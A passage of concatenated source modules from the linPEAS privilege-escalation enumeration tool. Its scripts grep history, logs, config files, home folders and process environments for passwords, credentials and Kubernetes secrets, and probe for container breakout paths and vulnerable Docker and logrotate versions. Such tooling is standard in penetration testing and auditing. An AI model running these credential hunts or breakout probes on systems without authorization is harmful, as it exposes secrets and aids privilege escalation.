# Description: Passwords in history cmd # License: GNU GPL # Version: 1.0 # Mitre: T1552.001 # Functions Used: print_2title # Global Variables: $DEBUG, $pwd_inside_history # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 if [ "$(history 2>/dev/null)" ] || [ "$DEBUG" ]; then print_2title "Searching passwords in history cmd" "T1552.001" history | grep -Ei "$pwd_inside_history" "$f" 2>/dev/null | sed -${E} "s,$pwd_inside_history,${SED_RED}," echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/9_interesting_files/21_Passwords_history_files.sh ================================================ # Title: Interesting Files - Passwords in history files # ID: IF_Passwords_history_files # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Passwords in history files # License: GNU GPL # Version: 1.0 # Mitre: T1552.001 # Functions Used: print_2title # Global Variables: $DEBUG, $pwd_inside_history # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 if [ "$PSTORAGE_HISTORY" ] || [ "$DEBUG" ]; then print_2title "Searching passwords in history files" "T1552.001" printf "%s\n" "$PSTORAGE_HISTORY" | while read f; do grep -EiH "$pwd_inside_history" "$f" 2>/dev/null | sed -${E} "s,$pwd_inside_history,${SED_RED},"; done echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/9_interesting_files/22_Passwords_php_files.sh ================================================ # Title: Interesting Files - passwords in config PHP files # ID: IF_Passwords_php_files # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Searching passwords in config PHP files # License: GNU GPL # Version: 1.0 # Mitre: T1552.001 # Functions Used: print_2title # Global Variables: $DEBUG # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 if [ "$PSTORAGE_PHP_FILES" ] || [ "$DEBUG" ]; then print_2title "Searching passwords in config PHP files" "T1552.001" printf "%s\n" "$PSTORAGE_PHP_FILES" | while read c; do grep -EiIH "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" "$c" 2>/dev/null | grep -Ev "function|password.*= ?\"\"|password.*= ?''" | sed '/^.\{150\}./d' | sort | uniq | sed -${E} "s,[pP][aA][sS][sS][wW]|[dD][bB]_[pP][aA][sS][sS],${SED_RED},g"; done echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/9_interesting_files/23_Passwords_files_home.sh ================================================ # Title: Interesting Files - Passwords files in home # ID: IF_Passwords_files_home # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Passwords files in home # License: GNU GPL # Version: 1.0 # Mitre: T1552.001 # Functions Used: echo_not_found, print_2title # Global Variables: $DEBUG # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 if [ "$PSTORAGE_PASSWORD_FILES" ] || [ "$DEBUG" ]; then print_2title "Searching *password* or *credential* files in home (limit 70)" "T1552.001" (printf "%s\n" "$PSTORAGE_PASSWORD_FILES" | grep -v "/snap/" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (cont < 3){ print line_init; } if (cont == "3"){print " #)There are more creds/passwds files in the previous parent folder\n"}; if (act == pre){(cont += 1)} else {cont=0}; pre=act }' | head -n 70 | sed -${E} "s,password|credential,${SED_RED}," | sed "s,There are more creds/passwds files in the previous parent folder,${C}[3m&${C}[0m,") || echo_not_found echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/9_interesting_files/24_Passwords_TTY.sh ================================================ # Title: Interesting Files - TTY passwords # ID: IF_Passwords_TTY # Author: Carlos Polop # Last Update: 22-08-2023 # Description: TTY passwords # License: GNU GPL # Version: 1.0 # Mitre: T1552.001 # Functions Used: print_2title # Global Variables: $SEARCH_IN_FOLDER # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Checking for TTY (sudo/su) passwords in audit logs" "T1552.001" aureport --tty 2>/dev/null | grep -E "su |sudo " | sed -${E} "s,su|sudo,${SED_RED},g" find /var/log/ -type f -exec grep -RE 'comm="su"|comm="sudo"' '{}' \; 2>/dev/null | sed -${E} "s,\"su\"|\"sudo\",${SED_RED},g" | sed -${E} "s,data=.*,${SED_RED},g" echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/9_interesting_files/25_IPs_logs.sh ================================================ # Title: Interesting Files - TTY passwords # ID: IF_IPs_logs # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Get TTY passwords # License: GNU GPL # Version: 1.0 # Mitre: T1083 # Functions Used: print_2title # Global Variables: $SEARCH_IN_FOLDER # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 0 if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Checking for TTY (sudo/su) passwords in audit logs" "T1083" aureport --tty 2>/dev/null | grep -E "su |sudo " | sed -${E} "s,su|sudo,${SED_RED},g" find /var/log/ -type f -exec grep -RE 'comm="su"|comm="sudo"' '{}' \; 2>/dev/null | sed -${E} "s,\"su\"|\"sudo\",${SED_RED},g" | sed -${E} "s,data=.*,${SED_RED},g" echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/9_interesting_files/26_Mails_addr_inside_logs.sh ================================================ # Title: Interesting Files - Emails inside logs # ID: IF_Mails_addr_inside_logs # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Emails inside logs # License: GNU GPL # Version: 1.0 # Mitre: T1114.001 # Functions Used: print_2title # Global Variables: $DEBUG, $knw_emails, $SEARCH_IN_FOLDER # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 0 if [ "$DEBUG" ] || ( ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$SEARCH_IN_FOLDER" ] ); then print_2title "Searching emails inside logs (limit 70)" "T1114.001" (find /var/log/ /var/logs/ /private/var/log -type f -exec grep -I -R -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" "{}" \;) 2>/dev/null | sort | uniq -c | sort -r -n | head -n 70 | sed -${E} "s,$knw_emails,${SED_GREEN},g" echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/9_interesting_files/27_Passwords_in_logs.sh ================================================ # Title: Interesting Files - Passwords inside logs # ID: IF_Passwords_in_logs # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Passwords inside logs # License: GNU GPL # Version: 1.0 # Mitre: T1552.001 # Functions Used: print_2title # Global Variables: $SEARCH_IN_FOLDER # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 0 if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Searching passwords inside logs (limit 70)" "T1552.001" (find /var/log/ /var/logs/ /private/var/log -type f -exec grep -R -H -i "pwd\|passw" "{}" \;) 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | grep -v "File does not exist:\|modules-config/config-set-passwords\|config-set-passwords already ran\|script not found or unable to stat:\|\"GET /.*\" 404" | head -n 70 | sed -${E} "s,pwd|passw,${SED_RED}," echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/9_interesting_files/28_Files_with_passwords.sh ================================================ # Title: Interesting Files - Executable files with passwords # ID: IF_Files_with_passwords # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Searching possible password variables inside key folders and config files # License: GNU GPL # Version: 1.0 # Mitre: T1552.001 # Functions Used: print_2title # Global Variables: $HOMESEARCH,$ITALIC, $pwd_in_variables1, $pwd_in_variables2, $pwd_in_variables3, $pwd_in_variables4, $pwd_in_variables5, $pwd_in_variables6, $pwd_in_variables7, $pwd_in_variables8, $pwd_in_variables9, $pwd_in_variables10, $pwd_in_variables11, $SEARCH_IN_FOLDER, $TIMEOUT, $backup_folders_row # Initial Functions: # Generated Global Variables: $ppicf # Fat linpeas: 0 # Small linpeas: 1 if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then ##-- IF) Find possible files with passwords print_2title "Searching possible password variables inside key folders (limit 140)" "T1552.001" if ! [ "$SEARCH_IN_FOLDER" ]; then timeout 150 find $HOMESEARCH -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" & timeout 150 find /var/www $backup_folders_row /tmp /etc /mnt /private -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" & else timeout 150 find $SEARCH_IN_FOLDER -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" & fi wait echo "" ##-- IF) Find possible conf files with passwords print_2title "Searching possible password in config files (if k8s secrets are found you need to read the file)" "T1552.001" if ! [ "$SEARCH_IN_FOLDER" ]; then ppicf=$(timeout 150 find $HOMESEARCH /var/www/ /usr/local/www/ /etc /opt /tmp /private /Applications /mnt -name "*.conf" -o -name "*.cnf" -o -name "*.config" -o -name "*.json" -o -name "*.yml" -o -name "*.yaml" 2>/dev/null) else ppicf=$(timeout 150 find $SEARCH_IN_FOLDER -name "*.conf" -o -name "*.cnf" -o -name "*.config" -o -name "*.json" -o -name "*.yml" -o -name "*.yaml" 2>/dev/null) fi printf "%s\n" "$ppicf" | while read f; do if grep -qEiI 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encryption\-provider\-config' "$f" 2>/dev/null; then echo "$ITALIC $f$NC" grep -HnEiIo 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encryption\-provider\-config' "$f" 2>/dev/null | sed -${E} "s,[pP][aA][sS][sS][wW]|[cC][rR][eE][dD][eE][nN],${SED_RED},g" fi done echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/9_interesting_files/29_Interesting_environment_variables.sh ================================================ # Title: Interesting Files - Interesting Environment Variables # ID: IF_Interesting_environment_variables # Author: Jack Vaughn # Last Update: 25-05-2025 # Description: Searching possible sensitive environment variables inside of /proc/*/environ # License: GNU GPL # Version: 1.0 # Mitre: T1552.007,T1082 # Functions Used: print_2title # Global Variables: $MACPEAS, $NoEnvVars, $EnvVarsRed # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 1 if [ -z "$MACPEAS" ]; then print_2title "Checking all env variables in /proc/*/environ removing duplicates and filtering out useless env vars" "T1552.007,T1082" cat /proc/[0-9]*/environ 2>/dev/null | \ tr '\0' '\n' | \ grep -Eiv "$NoEnvVars" | \ sort -u | \ sed -${E} "s,$EnvVarsRed,${SED_RED},g" fi ================================================ FILE: linPEAS/builder/linpeas_parts/9_interesting_files/2_Date_in_firmware.sh ================================================ # Title: Interesting Files - Date times inside firmware # ID: IF_Date_in_firmware # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Date times inside firmware # License: GNU GPL # Version: 1.0 # Mitre: T1082 # Functions Used: print_2title # Global Variables: $SEARCH_IN_FOLDER # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 0 if [ "$SEARCH_IN_FOLDER" ]; then print_2title "Files datetimes inside the firmware (limit 50)" "T1082" find "$SEARCH_IN_FOLDER" -type f -printf "%T+\n" 2>/dev/null | sort | uniq -c | sort | head -n 50 echo "To find a file with an specific date execute: find \"$SEARCH_IN_FOLDER\" -type f -printf \"%T+ %p\n\" 2>/dev/null | grep \"\"" echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/9_interesting_files/3_Executable_files_by_user.sh ================================================ # Title: Interesting Files - Executable files potentially added by user # ID: IF_Executable_files_by_user # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Executable files potentially added by user # License: GNU GPL # Version: 1.0 # Mitre: T1083 # Functions Used: print_2title # Global Variables: $SEARCH_IN_FOLDER # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 0 print_2title "Executable files potentially added by user (limit 70)" "T1083" if ! [ "$SEARCH_IN_FOLDER" ]; then find / -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "000|/site-packages|/python|/node_modules|\.sample|/gems|/cgroup/" | sort -r | head -n 70 else find "$SEARCH_IN_FOLDER" -type f -executable -printf "%T+ %p\n" 2>/dev/null | grep -Ev "/site-packages|/python|/node_modules|\.sample|/gems|/cgroup/" | sort -r | head -n 70 fi echo "" ================================================ FILE: linPEAS/builder/linpeas_parts/9_interesting_files/4_Macos_unsigned_apps.sh ================================================ # Title: Interesting Files - Macos Unsigned Applications # ID: IF_Macos_unsigned_apps # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Get the macOS unsigned applications # License: GNU GPL # Version: 1.0 # Mitre: T1204.002 # Functions Used: macosNotSigned, print_2title # Global Variables: $MACPEAS # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 0 if [ "$MACPEAS" ]; then print_2title "Unsigned Applications" "T1204.002" macosNotSigned /System/Applications fi ================================================ FILE: linPEAS/builder/linpeas_parts/9_interesting_files/5_Unexpected_in_opt.sh ================================================ # Title: Interesting Files - Unexpected in /opt # ID: IF_Unexpected_in_opt # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Unexpected in /opt # License: GNU GPL # Version: 1.0 # Mitre: T1083 # Functions Used: print_2title # Global Variables: $SEARCH_IN_FOLDER # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 0 if ! [ "$SEARCH_IN_FOLDER" ]; then if [ "$(ls /opt 2>/dev/null)" ]; then print_2title "Unexpected in /opt (usually empty)" "T1083" ls -la /opt echo "" fi fi ================================================ FILE: linPEAS/builder/linpeas_parts/9_interesting_files/6_Unexpected_in_root.sh ================================================ # Title: Interesting Files - Unexpected folders in / # ID: IF_Unexpected_in_root # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Unexpected folders in / # License: GNU GPL # Version: 1.0 # Mitre: T1083 # Functions Used: echo_not_found, print_2title # Global Variables: $commonrootdirsG, $commonrootdirsMacG, $MACPEAS, $ROOT_FOLDER, $SEARCH_IN_FOLDER # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 0 if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Unexpected in root" "T1083" if [ "$MACPEAS" ]; then (find $ROOT_FOLDER -maxdepth 1 | grep -Ev "$commonrootdirsMacG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found else (find $ROOT_FOLDER -maxdepth 1 | grep -Ev "$commonrootdirsG" | sed -${E} "s,.*,${SED_RED},") || echo_not_found fi echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/9_interesting_files/7_Modified_last_5mins.sh ================================================ # Title: Interesting Files - Files modified last 5 mins # ID: IF_Modified_last_5mins # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Modified interesting files into specific folders in the last 5mins # License: GNU GPL # Version: 1.0 # Mitre: T1083 # Functions Used: print_2title # Global Variables:$ROOT_FOLDER, $Wfolders # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 0 print_2title "Modified interesting files in the last 5mins (limit 100)" "T1083" find $ROOT_FOLDER -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" ! -path "/private/var/*" 2>/dev/null | grep -v "/linpeas" | head -n 100 | sed -${E} "s,$Wfolders,${SED_RED}," echo "" ================================================ FILE: linPEAS/builder/linpeas_parts/9_interesting_files/8_Writable_log_files.sh ================================================ # Title: Interesting Files - Writable log files # ID: IF_Writable_log_files # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Writable log files # License: GNU GPL # Version: 1.0 # Mitre: T1070.002 # Functions Used: echo_not_found, print_2title, print_info # Global Variables: $IAMROOT, $ROOT_FOLDER, $Wfolders # Initial Functions: # Generated Global Variables: $lastWlogFolder, $logfind, $log # Fat linpeas: 0 # Small linpeas: 0 if command -v logrotate >/dev/null && logrotate --version | head -n 1 | grep -Eq "[012]\.[0-9]+\.|3\.[0-9]\.|3\.1[0-7]\.|3\.18\.0"; then #3.18.0 and below print_2title "Writable log files (logrotten) (limit 50)" "T1070.002" print_info "https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#logrotate-exploitation" logrotate --version 2>/dev/null || echo_not_found "logrotate" lastWlogFolder="ImPOsSiBleeElastWlogFolder" logfind=$(find $ROOT_FOLDER -type f -name "*.log" -o -name "*.log.*" 2>/dev/null | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 3){ print line_init; }; if (cont == "3"){print "#)You_can_write_more_log_files_inside_last_directory"}; pre=act}' | head -n 50) printf "%s\n" "$logfind" | while read log; do if ! [ "$IAMROOT" ] && [ "$log" ] && [ -w "$log" ] || ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders"; then #Only print info if something interesting found if echo "$log" | grep -q "You_can_write_more_log_files_inside_last_directory"; then printf $ITALIC"$log\n"$NC; elif ! [ "$IAMROOT" ] && [ -w "$log" ] && [ "$(command -v logrotate 2>/dev/null)" ] && logrotate --version 2>&1 | grep -qE ' 1| 2| 3.1'; then printf "Writable:$RED $log\n"$NC; #Check vuln version of logrotate is used and print red in that case elif ! [ "$IAMROOT" ] && [ -w "$log" ]; then echo "Writable: $log"; elif ! [ "$IAMROOT" ] && echo "$log" | grep -qE "$Wfolders" && [ "$log" ] && [ ! "$lastWlogFolder" == "$log" ]; then lastWlogFolder="$log"; echo "Writable folder: $log" | sed -${E} "s,$Wfolders,${SED_RED},g"; fi fi done fi # Check syslog configuration print_2title "Syslog configuration (limit 50)" "T1070.002" if [ -f "/etc/rsyslog.conf" ]; then grep -v "^#" /etc/rsyslog.conf 2>/dev/null | sed -${E} "s,.*,${SED_RED},g" | head -n 50 elif [ -f "/etc/syslog.conf" ]; then grep -v "^#" /etc/syslog.conf 2>/dev/null | sed -${E} "s,.*,${SED_RED},g" | head -n 50 else echo_not_found "syslog configuration" fi # Check auditd configuration print_2title "Auditd configuration (limit 50)" "T1070.002" if [ -f "/etc/audit/auditd.conf" ]; then grep -v "^#" /etc/audit/auditd.conf 2>/dev/null | sed -${E} "s,.*,${SED_RED},g" | head -n 50 else echo_not_found "auditd configuration" fi # Check for log files with weak permissions print_2title "Log files with potentially weak perms (limit 50)" "T1070.002" find /var/log -type f -ls 2>/dev/null | grep -Ev "root\s+root|root\s+systemd-journal|root\s+syslog|root\s+utmp" | sed -${E} "s,.*,${SED_RED},g" | head -n 50 echo "" ================================================ FILE: linPEAS/builder/linpeas_parts/9_interesting_files/9_My_home.sh ================================================ # Title: Interesting Files - Files inside HOME # ID: IF_My_home # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Files inside HOME # License: GNU GPL # Version: 1.0 # Mitre: T1083 # Functions Used: echo_not_found, print_2title # Global Variables: $HOME, $SEARCH_IN_FOLDER # Initial Functions: # Generated Global Variables: # Fat linpeas: 0 # Small linpeas: 0 if ! [ "$SEARCH_IN_FOLDER" ]; then print_2title "Files inside $HOME (limit 20)" "T1083" (ls -la $HOME 2>/dev/null | head -n 23) || echo_not_found echo "" fi ================================================ FILE: linPEAS/builder/linpeas_parts/functions/checkContainerExploits.sh ================================================ # Title: Container - checkContainerExploits # ID: checkContainerExploits # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Check if the container is vulnerable to CVE-2019-5021 # License: GNU GPL # Version: 1.0 # Functions Used: echo_no # Global Variables: # Initial Functions: # Generated Global Variables: $VULN_CVE_2019_5021, $alpineVersion # Fat linpeas: 0 # Small linpeas: 1 checkContainerExploits() { VULN_CVE_2019_5021="$(echo_no)" if [ -f "/etc/alpine-release" ]; then alpineVersion=$(cat /etc/alpine-release) if [ "$(echo $alpineVersion | sed 's,\.,,g')" -ge "330" ] && [ "$(echo $alpineVersion | sed 's,\.,,g')" -le "360" ]; then VULN_CVE_2019_5021="Yes" fi fi } ================================================ FILE: linPEAS/builder/linpeas_parts/functions/checkCreateReleaseAgent.sh ================================================ # Title: Container - checkCreateReleaseAgent # ID: checkCreateReleaseAgent # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Check if the container is vulnerable to release agent breakout # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: # Initial Functions: # Generated Global Variables: $release_agent_breakout3 # Fat linpeas: 0 # Small linpeas: 1 checkCreateReleaseAgent(){ cat /proc/$$/cgroup 2>/dev/null | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$' | while read -r ss do if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $ss cgroup /tmp/cgroup_3628d4 2>&1 >/dev/null && test -w /tmp/cgroup_3628d4/release_agent" >/dev/null 2>&1 ; then release_agent_breakout3="Yes (unshare with $ss)"; rm -rf /tmp/cgroup_3628d4 break fi done } ================================================ FILE: linPEAS/builder/linpeas_parts/functions/checkDockerRootless.sh ================================================ # Title: Container - checkDockerRootless # ID: checkDockerRootless # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Check if the container is running in rootless mode # License: GNU GPL # Version: 1.0 # Functions Used: # Global Variables: $TIP_DOCKER_ROOTLESS # Initial Functions: # Generated Global Variables: $DOCKER_ROOTLESS # Fat linpeas: 0 # Small linpeas: 1 checkDockerRootless() { DOCKER_ROOTLESS="No" if docker info 2>/dev/null|grep -q rootless; then DOCKER_ROOTLESS="Yes ($TIP_DOCKER_ROOTLESS)" fi } ================================================ FILE: linPEAS/builder/linpeas_parts/functions/checkDockerVersionExploits.sh ================================================ # Title: Container - checkDockerVersionExploits # ID: checkDockerVersionExploits # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Check if the container is vulnerable to CVE-2019-13139 and CVE-2019-5736 # License: GNU GPL # Version: 1.0 # Functions Used: echo_no, echo_not_found # Global Variables: $dockerVersion # Initial Functions: # Generated Global Variables: $VULN_CVE_2019_13139, $VULN_CVE_2019_5736, $VULN_CVE_2021_41091 # Fat linpeas: 0 # Small linpeas: 1 checkDockerVersionExploits() { if echo "$dockerVersion" | grep -iq "not found"; then VULN_CVE_2019_13139="$(echo_not_found)" VULN_CVE_2019_5736="$(echo_not_found)" VULN_CVE_2021_41091="$(echo_not_found)" return fi VULN_CVE_2019_13139="$(echo_no)" if [ "$(echo $dockerVersion | sed 's,\.,,g')" -lt "1895" ]; then VULN_CVE_2019_13139="Yes" fi VULN_CVE_2019_5736="$(echo_no)" if [ "$(echo $dockerVersion | sed 's,\.,,g')" -lt "1893" ]; then VULN_CVE_2019_5736="Yes" fi VULN_CVE_2021_41091="$(echo_no)" if [ "$(echo $dockerVersion | sed 's,\.,,g')" -lt "20109" ]; then VULN_CVE_2021_41091="Yes" fi } ================================================ FILE: linPEAS/builder/linpeas_parts/functions/checkProcSysBreakouts.sh ================================================ # Title: Container - checkProcSysBreakouts # ID: checkProcSysBreakouts # Author: Carlos Polop # Last Update: 22-08-2023 # Description: Check if the container is vulnerable to several breakouts abusing /sys and /proc folders # License: GNU GPL # Version: 1.0 # Functions Used: checkCreateReleaseAgent # Global Variables: # Initial Functions: # Generated Global Variables: $dev_mounted, $proc_mounted, $run_unshare, $release_agent_breakout1, $release_agent_breakout2, $core_pattern_breakout, $modprobe_present, $panic_on_oom_dos, $panic_on_oom, $panic_on, $panic_sys_fs_dos, $binfmt_misc_breakout, $proc_configgz_readable, $sysreq_trigger_dos, $kmsg_readable, $kallsyms_readable, $self_mem_readable, $mem_readable, $kmem_readable, $kmem_writable, $mem_writable, $sched_debug_readable, $mountinfo_readable, $uevent_helper_breakout, $vmcoreinfo_readable, $security_present, $security_writable, $efi_vars_writable, $efi_efivars_writable, $kcore_readable # Fat linpeas: 0 # Small linpeas: 1 checkProcSysBreakouts(){ dev_mounted="No" if [ $(ls -l /dev | grep -E "^c" | wc -l) -gt 50 ]; then dev_mounted="Yes"; fi proc_mounted="No" if [ $(ls /proc | grep -E "^[0-9]" | wc -l) -gt 50 ]; then proc_mounted="Yes"; fi run_unshare=$(unshare -UrmC bash -c 'echo -n Yes' 2>/dev/null) if ! [ "$run_unshare" = "Yes" ]; then run_unshare="No" fi if [ "$(ls -l /sys/fs/cgroup/*/release_agent 2>/dev/null)" ]; then release_agent_breakout1="Yes" else release_agent_breakout1="No" fi release_agent_breakout2="No" mkdir /tmp/cgroup_3628d4 mount -t cgroup -o memory cgroup /tmp/cgroup_3628d4 2>/dev/null if [ $? -eq 0 ]; then release_agent_breakout2="Yes"; rm -rf /tmp/cgroup_3628d4 else mount -t cgroup -o rdma cgroup /tmp/cgroup_3628d4 2>/dev/null if [ $? -eq 0 ]; then release_agent_breakout2="Yes"; rm -rf /tmp/cgroup_3628d4 else checkCreateReleaseAgent fi fi rm -rf /tmp/cgroup_3628d4 2>/dev/null core_pattern_breakout="$( (echo -n '' > /proc/sys/kernel/core_pattern && echo Yes) 2>/dev/null || echo No)" modprobe_present="$(ls -l `cat /proc/sys/kernel/modprobe` 2>/dev/null || echo No)" panic_on_oom_dos="$( (echo -n '' > /proc/sys/vm/panic_on_oom && echo Yes) 2>/dev/null || echo No)" panic_sys_fs_dos="$( (echo -n '' > /proc/sys/fs/suid_dumpable && echo Yes) 2>/dev/null || echo No)" binfmt_misc_breakout="$( (echo -n '' > /proc/sys/fs/binfmt_misc/register && echo Yes) 2>/dev/null || echo No)" proc_configgz_readable="$([ -r '/proc/config.gz' ] 2>/dev/null && echo Yes || echo No)" sysreq_trigger_dos="$( (echo -n '' > /proc/sysrq-trigger && echo Yes) 2>/dev/null || echo No)" kmsg_readable="$( (dmesg > /dev/null 2>&1 && echo Yes) 2>/dev/null || echo No)" # Kernel Exploit Dev kallsyms_readable="$( (head -n 1 /proc/kallsyms > /dev/null && echo Yes )2>/dev/null || echo No)" # Kernel Exploit Dev self_mem_readable="$( (head -n 1 /proc/self/mem > /dev/null && echo Yes) 2>/dev/null || echo No)" if [ "$(head -n 1 /tmp/kcore 2>/dev/null)" ]; then kcore_readable="Yes"; else kcore_readable="No"; fi kmem_readable="$( (head -n 1 /proc/kmem > /dev/null && echo Yes) 2>/dev/null || echo No)" kmem_writable="$( (echo -n '' > /proc/kmem > /dev/null && echo Yes) 2>/dev/null || echo No)" mem_readable="$( (head -n 1 /proc/mem > /dev/null && echo Yes) 2>/dev/null || echo No)" mem_writable="$( (echo -n '' > /proc/mem > /dev/null && echo Yes) 2>/dev/null || echo No)" sched_debug_readable="$( (head -n 1 /proc/sched_debug > /dev/null && echo Yes) 2>/dev/null || echo No)" mountinfo_readable="$( (head -n 1 /proc/*/mountinfo > /dev/null && echo Yes) 2>/dev/null || echo No)" uevent_helper_breakout="$( (echo -n '' > /sys/kernel/uevent_helper && echo Yes) 2>/dev/null || echo No)" vmcoreinfo_readable="$( (head -n 1 /sys/kernel/vmcoreinfo > /dev/null && echo Yes) 2>/dev/null || echo No)" security_present="$( (ls -l /sys/kernel/security > /dev/null && echo 